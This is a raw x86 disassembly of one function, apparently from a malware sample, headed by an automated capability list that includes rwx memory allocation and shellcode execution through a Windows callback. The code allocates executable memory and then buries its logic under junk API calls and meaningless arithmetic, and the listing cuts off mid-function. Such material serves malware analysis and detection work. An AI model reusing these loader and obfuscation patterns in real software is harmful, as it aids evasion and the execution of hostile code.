Function at 0x401b80
Capabilities:
Allocate or change rwx memory
Copy file
Create mailslot
Execute shellcode via windows callback function
Get common file path
Get disk information
Get disk size
Identify system language via api
Read .ini file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0x50b98
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xbc], 0xfe59
push 0x40
push 0x1000
push 0xfdf10
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x10c], 0x447868
mov dword [ebp - 0x144], 0
xor eax, eax
je 0x401c22
movzx esi, word [ebp - 0xac]
movzx ecx, byte [ebp - 0x81]
add esi, ecx
and esi, 0x7e320
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
and esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
or esi, eax
mov dword [ebp - 0x88], esi
jmp 0x401c6d
mov edx, dword [ebp - 0x10c]
and edx, 0xbacb0
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea eax, [ecx + eax + 0x691f0]
movzx ecx, word [ebp - 0xac]
add ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x10c]
movzx esi, byte [ebp - 0x81]
sub ecx, esi
and eax, ecx
or edx, eax
or edx, dword [ebp - 0x10c]
mov dword [ebp - 0x88], edx
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
cmp eax, dword [ebp - 0x10c]
je 0x401cc9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
test eax, eax
je 0x401cc9
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
cmp eax, 0x50274
je 0x401cc9
movzx esi, word [ebp - 0xac]
mov edx, dword [ebp - 0x14]
push edx
call fcn.00408380
cmp esi, eax
jne 0x401cf2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
cmp eax, 0x73dc3
jne 0x401cf2
movzx esi, word [ebp - 0xac]
mov edi, dword [ebp - 0x10c]
sub edi, 0x31b3
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov ecx, eax
shl edi, cl
and esi, edi
mov dword [ebp - 0x14], esi
jmp 0x401d85
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx - 0x12136]
add esi, dword [ebp - 0x10c]
call fcn.00419940
movzx edx, ax
sub esi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov edi, eax
add esi, dword [ebp - 0x10c]
add edi, esi
or edi, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
add eax, 0x65c64
and eax, 0x96c0
or edi, eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x14]
push edx
movzx eax, word [ebp - 0x14]
push eax
call fcn.00415cf0
or edi, eax
mov dword [ebp - 0x14], edi
movzx ecx, byte [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push ecx
push eax
call fcn.00405ae0
movzx esi, ax
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
and eax, 0x64725
or esi, eax
mov word [ebp - 0xac], si
mov dword [ebp - 0x88], 0x80274854
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x14c]
sub eax, 1
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xcb
ja case.0x401df3.1
mov ecx, dword [ebp - 0x14c]
movzx edx, byte [ecx + 0x4033d4]
jmp dword [edx*4 + 0x4033b8]
movzx eax, byte [ebp - 0xf4]
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
movzx eax, byte [ebp - 0xf4]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.004034a0
movzx eax, ax
cdq
mov esi, eax
mov edi, edx
movzx edx, word [ebp - 0xf4]
push edx
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
push ecx
push eax
call fcn.00418dc0
add esi, eax
adc edi, edx
mov edx, dword [ebp - 0x10c]
and edx, dword [ebp - 0x10c]
xor eax, eax
xor esi, edx
xor edi, eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov ebx, eax
mov ecx, dword [ebp - 0xf4]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0xf4]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0xf4]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xf4]
push edx
call fcn.00403580
movzx eax, ax
sub ebx, eax
add ebx, dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub eax, dword [ebp - 0x10c]
and ebx, eax
mov ecx, 0x1da5b
sub ecx, dword [ebp - 0x10c]
sub ecx, 0x6af79
and ebx, ecx
xor edx, edx
or esi, ebx
or edi, edx
mov word [ebp - 0xac], si
jmp 0x402211
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [ebp - 0x10c]
mov ecx, eax
shl esi, cl
call fcn.004187f0
movzx eax, al
and eax, 0xdb2
or esi, eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
movzx edx, word [ebp - 0xf4]
push edx
call fcn.00401950
movzx eax, ax
mov edi, 0x3d719
sub edi, eax
add edi, 0x1d9b0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
sub edi, eax
or esi, edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
add eax, 0x6ac
and eax, 0x35895
or esi, eax
mov dword [ebp - 0xf4], esi
jmp 0x402211
mov esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
sub esi, eax
sub esi, dword [ebp - 0x10c]
add esi, 0x3a9cd
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
mov edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
lea ecx, [edi + eax - 0xb4ca]
and esi, ecx
mov edx, 0x47880
xor edx, 0x1892a
or esi, edx
mov dword [ebp - 0xf4], esi
jmp 0x402211
movzx ebx, byte [ebp - 0x81]
and ebx, dword [ebp - 0x10c]
mov esi, 0x157f7
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
add esi, dword [ebp - 0x10c]
lea eax, [eax + esi - 0x153d8]
sub eax, dword [ebp - 0x10c]
add eax, 0x2650f
sub eax, dword [ebp - 0x10c]
and ebx, eax
and ebx, dword [ebp - 0x10c]
and ebx, 0x3aea9
mov byte [ebp - 0x81], bl
jmp 0x402211
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [esi + eax - 0x647e3]
mov esi, ecx
xor edi, edi
mov edx, dword [ebp - 0xf4]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xf4]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xf4]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
call fcn.00406400
sub esi, eax
sbb edi, edx
movzx ebx, byte [ebp - 0x81]
add ebx, 0x6685a
movzx edx, word [ebp - 0xf4]
push edx
mov eax, dword [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
mov edx, dword [ebp - 0xf4]
push edx
movzx eax, word [ebp - 0xf4]
push eax
call fcn.0043d960
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x150], edi
xor edi, edi
add eax, ecx
adc edx, edi
mov edx, 0x5b804
mov ecx, eax
sar edx, cl
and ebx, edx
mov eax, ebx
cdq
or esi, eax
mov edi, dword [ebp - 0x150]
or edi, edx
mov word [ebp - 0xac], si
jmp 0x402211
call fcn.00403d30
mov esi, eax
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor ecx, ecx
add esi, eax
adc edi, ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edx, edx
add esi, eax
adc edi, edx
and esi, 0x1a19
and edi, 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx - 0x4bba5]
xor eax, eax
and esi, edx
and edi, eax
mov dword [ebp - 0xf4], esi
jmp 0x402211
mov esi, dword [ebp - 0x10c]
sub esi, 0x44633
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
sub esi, eax
mov ebx, esi
xor esi, esi
mov edi, dword [ebp - 0x10c]
add edi, 0xdfc7
and edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov dword [ebp - 0x154], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
mov ecx, dword [ebp - 0x154]
add ecx, eax
sub ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
shr edx, cl
and edi, edx
xor eax, eax
movzx ecx, word [ebp - 0x14]
push ecx
movzx edx, byte [ebp - 0x14]
push edx
movzx ecx, word [ebp - 0xac]
mov dword [ebp - 0x158], eax
mov eax, ecx
cdq
push edx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x14]
push edx
call fcn.00405d30
and edi, eax
mov eax, dword [ebp - 0x158]
and eax, edx
or ebx, edi
or esi, eax
mov byte [ebp - 0x81], bl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov esi, eax
add esi, 0x767da
movzx eax, word [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x14]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x14]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
call fcn.00416300
movzx edx, al
sub esi, edx
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
sub esi, eax
movzx eax, word [ebp - 0xac]
lea esi, [esi + eax - 0x4f34a]
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
movzx edx, word [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x14]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
call fcn.004180b0
add eax, 0x4a8a
or esi, eax
mov word [ebp - 0xac], si
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
lea esi, [esi + eax - 0x55159]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
sub esi, eax
mov edx, dword [ebp - 0xf4]
xor eax, eax
push eax
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00415540
sub esi, eax
call fcn.00419940
movzx ecx, ax
add esi, ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
add eax, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x81]
sub eax, edx
and esi, eax
or esi, 0x6ffbe
mov word [ebp - 0xac], si
mov dword [ebp - 0x14], 0xded52c48
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
and eax, 0x4c8fa
mov dword [ebp - 0x138], eax
mov dword [ebp - 0xf4], 0x1da09d0e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x138], 0xc875dff4
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x10c]
je 0x40238f
cmp dword [ebp - 0x10c], 0x1357f
jne 0x40238f
cmp dword [ebp - 0x10c], 0x4f5b4
je 0x4023c6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, 0x3984a
je 0x4023c6
movzx esi, byte [ebp - 0x81]
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov edx, dword [ebp - 0xa4]
xor eax, eax
push eax
push edx
call fcn.00415540
cmp esi, eax
jne 0x40242a
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov esi, dword [ebp - 0x10c]
sub esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
sub esi, eax
xor edi, edi
add esi, dword [ebp - 0x70]
adc edi, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x10c]
xor edx, edx
or esi, ecx
or edi, edx
movzx ebx, byte [ebp - 0x81]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
lea eax, [ebx + eax - 0x92bc]
xor ecx, ecx
or esi, eax
or edi, ecx
mov dword [ebp - 0xa4], esi
jmp 0x402484
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov esi, eax
add esi, 0x16567
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea edi, [eax + edx - 0x4e5b]
and edi, dword [ebp - 0x10c]
push 0
push 0
call sub.KERNEL32.dll_Module32NextW
movzx ecx, word [ebp - 0xac]
add eax, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x5e93c]
and edi, edx
or esi, edi
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0x30], 0x673607a6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
movzx edx, byte [ebp - 4]
push edx
call fcn.004050c0
movzx eax, ax
mov esi, 0xb1b9e
sub esi, eax
movzx ecx, byte [ebp - 4]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
movzx eax, word [ebp - 4]
push eax
movzx ecx, word [ebp - 4]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004192c0
movzx eax, al
sub esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
sub esi, eax
sub esi, 0x79daa
and esi, dword [ebp - 0x10c]
xor edi, edi
mov ecx, dword [ebp - 0x10c]
add ecx, 0x349ba
mov ebx, ecx
xor eax, eax
add ebx, dword [ebp - 0x70]
adc eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
sub ebx, edx
sbb eax, ecx
push 0
push 0
push 0
push 0
mov dword [ebp - 0x15c], eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
xor edx, edx
and ebx, eax
mov eax, dword [ebp - 0x15c]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, word [ebp - 0xac]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, word [ebp - 4]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00407440
movzx esi, ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
add esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
sub esi, eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp - 4]
push eax
call fcn.00403750
movzx ecx, al
add esi, ecx
movzx edx, byte [ebp - 4]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 4]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
movzx edx, byte [ebp - 4]
push edx
call fcn.00405a50
movzx eax, ax
add esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov ecx, 0x6d9bb
sub ecx, eax
and esi, ecx
and esi, dword [ebp - 0x10c]
xor edx, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0xa4], 0xda50ce1d
cmp dword [ebp - 0x10c], 0x512a1
je 0x402643
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
cmp eax, 0x44835
je 0x402643
xor eax, eax
je 0x4026a5
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
mov esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
lea esi, [esi + eax + 0x2788e]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov edi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
lea ecx, [edi + eax - 0x669c]
movzx edx, word [ebp - 0xac]
mov eax, dword [ebp - 0x10c]
lea edx, [edx + eax + 0x50eed]
and ecx, edx
or esi, ecx
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x40271f
movzx ecx, word [ebp - 0xac]
mov edx, dword [ebp - 0x10c]
lea esi, [edx + ecx + 0x646cf]
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 4]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, word [ebp - 4]
push ecx
call fcn.00416300
movzx edx, al
add esi, edx
mov edi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
sub edi, eax
movzx eax, word [ebp - 0xac]
add edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
sub edi, eax
movzx ecx, word [ebp - 0xac]
sub edi, ecx
sub edi, 0x2b5de
and esi, edi
mov word [ebp - 0xac], si
mov dword [ebp - 0x144], 0
jmp 0x40273a
mov edx, dword [ebp - 0x144]
add edx, 1
mov dword [ebp - 0x144], edx
cmp dword [ebp - 0x144], 0x1752
jae 0x403284
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
sub ecx, 0x20491
movzx edx, word [ebp - 0xac]
mov eax, dword [ebp - 0x10c]
lea edx, [edx + eax + 0x6bd57]
and ecx, edx
or ecx, dword [ebp - 0x10c]
mov esi, ecx
xor edi, edi
or esi, dword [ebp - 0x70]
or edi, dword [ebp - 0x6c]
movzx ecx, word [ebp - 0xac]
add ecx, dword [ebp - 0x10c]
mov eax, 0x6e140
sar eax, cl
cdq
or esi, eax
or edi, edx
mov dword [ebp - 4], esi
mov esi, dword [ebp - 0x10c]
xor edi, edi
mov eax, dword [ebp - 4]
push eax
movzx ecx, word [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 4]
push edx
call fcn.00418440
add esi, eax
adc edi, edx
sub esi, 0x742c2
sbb edi, 0
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
add esi, 0x71c59
adc edi, 0
mov edx, dword [ebp - 0x10c]
xor eax, eax
add esi, edx
adc edi, eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00408380
xor edx, edx
sub esi, eax
sbb edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
add esi, edx
adc edi, eax
and esi, 0x62d3a
and edi, 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor ecx, ecx
xor esi, eax
xor edi, ecx
or esi, 0x4ad22
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, eax
sub esi, 0x4f07c
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, byte [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 4]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00405f00
movzx ecx, al
sub esi, ecx
or esi, 0x6f2d5
xor edi, edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
sub eax, 0x7eec7
mov ebx, eax
xor eax, eax
push 0
push 0
push 0
mov dword [ebp - 0x160], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
sub eax, dword [ebp - 0x10c]
xor edx, edx
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
and ebx, eax
mov eax, dword [ebp - 0x160]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x88]
xor eax, dword [ebp - 0x14]
mov dword [ebp - 0x88], eax
movzx ecx, byte [ebp - 0x81]
shl ecx, 0x2d
mov dword [ebp - 4], ecx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
sub eax, 0x5d429
sub eax, dword [ebp - 0x10c]
and eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
add edx, 0xa692
and eax, edx
mov esi, eax
xor edi, edi
movzx eax, byte [ebp - 0x81]
mov ecx, 0x6eaff
sub ecx, eax
add ecx, 0x50dbe
mov eax, ecx
cdq
mov ebx, eax
mov eax, edx
movzx edx, word [ebp - 0xac]
push edx
mov ecx, dword [ebp - 4]
xor edx, edx
push edx
push ecx
mov dword [ebp - 0x164], eax
call fcn.00405a80
add ebx, eax
mov eax, dword [ebp - 0x164]
adc eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
movzx eax, word [ebp - 0xac]
cdq
mov esi, eax
mov edi, edx
sub esi, dword [ebp - 0x70]
sbb edi, dword [ebp - 0x6c]
add esi, 0xadcc
adc edi, 0
movzx eax, word [ebp - 0xac]
cdq
add esi, eax
adc edi, edx
movzx eax, word [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, word [ebp - 4]
push ecx
call fcn.00416300
movzx eax, al
cdq
add esi, eax
adc edi, edx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add esi, ecx
adc edi, edx
add esi, 0x28cf1
adc edi, 0
movzx eax, byte [ebp - 0x81]
cdq
sub esi, eax
sbb edi, edx
mov eax, esi
mov edx, edi
mov cl, 0x40
call fcn.0043dfd0
or eax, 0x2c6e6
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
and esi, 0x7699c
movzx edi, byte [ebp - 0x81]
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.00407440
movzx ecx, ax
add edi, ecx
or esi, edi
xor edi, edi
mov ebx, dword [ebp - 0x10c]
sub ebx, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
sub ebx, eax
sub ebx, 0x2682d
movzx edx, byte [ebp - 0x81]
sub ebx, edx
xor eax, eax
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
movzx ecx, word [ebp - 4]
push ecx
mov dword [ebp - 0x168], eax
call fcn.0043d960
sub ebx, eax
mov eax, dword [ebp - 0x168]
sbb eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
mov edx, dword [ebp - 0x30]
xor edx, dword [ebp - 0xa4]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 4]
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov eax, dword [ebp - 4]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00418440
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
cmp dword [ebp - 0x170], 0x50da
jne 0x402c4b
cmp dword [ebp - 0x16c], 0
jne 0x402c4b
movzx ecx, byte [ebp - 4]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, byte [ebp - 4]
push ecx
call fcn.00414c40
movzx edx, al
cmp edx, dword [ebp - 0x10c]
jne 0x402c4b
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
cmp eax, 0x695e0
jne 0x402c4b
movzx esi, word [ebp - 0xac]
add esi, 0x11b24
call fcn.00406b30
movzx eax, ax
sub esi, eax
mov eax, esi
cdq
mov esi, eax
mov edi, edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 4]
push edx
mov eax, dword [ebp - 4]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp - 4]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.004184e0
add eax, 0x2a60b
and eax, 0x6f515
mov ebx, eax
xor eax, eax
movzx ecx, byte [ebp - 0x81]
add ecx, 0x63527
movzx edx, word [ebp - 0xac]
sub ecx, edx
push 0
push 0
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x178], ecx
call dword [sym.imp.KERNEL32.dll_GetDevicePowerState]
mov ecx, dword [ebp - 0x178]
sub ecx, eax
movzx eax, word [ebp - 0xac]
add ecx, eax
xor edx, edx
add ecx, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
and ebx, ecx
mov eax, dword [ebp - 0x174]
and eax, edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 4]
push edx
movzx ecx, byte [ebp - 4]
push ecx
mov edx, dword [ebp - 0x70]
push edx
movzx ecx, word [ebp - 4]
push ecx
mov dword [ebp - 0x17c], eax
call fcn.00407800
movzx eax, ax
cdq
and ebx, eax
mov eax, dword [ebp - 0x17c]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
jmp 0x402c67
mov edx, dword [ebp - 0x10c]
and edx, 0x1a2e0
mov eax, dword [ebp - 0x10c]
sub eax, 0x71eed
and edx, eax
mov dword [ebp - 4], edx
mov dword [ebp - 4], 0xf4a
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov esi, eax
mov ecx, dword [ebp - 0x40]
push ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov edx, dword [ebp - 0x40]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x40]
push edx
movzx eax, word [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x40]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x40]
push eax
call fcn.00405fd0
movzx ecx, ax
add ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea eax, [ecx + edx - 0x6924a]
and esi, eax
movzx ecx, word [ebp - 0xac]
movzx edx, word [ebp - 0xac]
add ecx, edx
movzx eax, byte [ebp - 0x81]
add ecx, eax
and esi, ecx
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x40]
push edx
